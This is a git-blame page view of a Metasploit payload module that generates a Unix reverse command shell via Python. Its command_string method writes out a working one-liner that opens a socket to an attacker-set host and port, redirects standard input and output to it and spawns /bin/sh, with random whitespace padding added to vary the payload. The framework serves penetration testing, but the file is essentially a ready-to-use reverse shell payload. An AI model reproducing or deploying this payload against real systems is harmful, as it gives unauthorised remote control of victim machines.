Files
metasploit-gs/modules/payloads/singles/cmd/unix/reverse_python.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

64 lines
1.8 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
module MetasploitModule
2015-03-09 15:44:14 -05:00
CachedSize = :dynamic
include Msf::Payload::Single
include Msf::Payload::Python
include Msf::Sessions::CommandShellOptions
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(merge_info(info,
2022-11-22 05:49:48 -05:00
'Name' => 'Unix Command Shell, Reverse TCP (via Python)',
'Version' => '$Revision: 1 $',
'Description' => 'Connect back and create a command shell via Python',
'Author' => 'bcoles',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'python',
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
))
2022-11-22 05:49:48 -05:00
register_options(
[
OptString.new('SHELL', [ true, 'The system shell to use', '/bin/sh' ])
]
)
register_advanced_options(
[
OptString.new('PythonPath', [true, 'The path to the Python executable', 'python'])
]
)
end
2013-08-30 16:28:54 -05:00
2022-11-04 00:33:03 +00:00
def generate(_opts = {})
return super + command_string
end
2013-08-30 16:28:54 -05:00
#
# Generate random whitespace
#
2013-08-30 16:28:54 -05:00
def random_padding
" "*rand(10)
end
2013-08-30 16:28:54 -05:00
#
# Generate command string
#
2013-08-30 16:28:54 -05:00
def command_string
2015-03-02 15:36:45 -06:00
raw_cmd = "import socket,subprocess,os;host=\"#{datastore['LHOST']}\";port=#{datastore['LPORT']};s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\"#{datastore['SHELL']}\")"
cmd = raw_cmd.gsub(/,/, "#{random_padding},#{random_padding}").gsub(/;/, "#{random_padding};#{random_padding}")
2022-11-22 05:49:48 -05:00
"#{datastore['PythonPath']} -c \"#{ py_create_exec_stub(cmd) }\""
end
end